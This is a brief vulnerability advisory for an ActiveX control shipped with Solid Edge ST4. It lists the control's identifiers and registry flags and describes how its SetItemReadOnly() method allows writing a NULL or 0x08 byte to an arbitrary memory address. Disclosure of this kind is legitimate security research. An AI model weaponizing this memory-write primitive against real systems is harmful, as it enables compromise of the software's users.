file tested: SolidEdgeV104ENGLISH_32Bit.exe


background:

the mentioned software installs an ActiveX control with 
the following settings:

ActiveX settings:
ProgID: SELISTCTRLX.SEListCtrlXCtrl.1
CLSID: {5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}
binary path: C:\Program Files\Solid Edge ST4\Program\SEListCtrlX.ocx
Safe For Scripting (Registry): True
Safe For Initialization (Registry): True

Vulnerability:

This control exposes the SetItemReadOnly() method, see typelib:

...
/* DISPID=14 */
	function SetItemReadOnly(
		/* VT_VARIANT [12]  */ $hItem,
		/* VT_BOOL [11]  */ $bReadOnly 
		)
	{
	}
...

(i)
By setting to a memory address the first argument
and the second one to 'false' you can write a NULL
byte inside an arbitrary memory region.

(ii)
By setting to a memory address the first argument
and the second one to 'true' you can write a \x08
byte inside an arbitrary memory region.
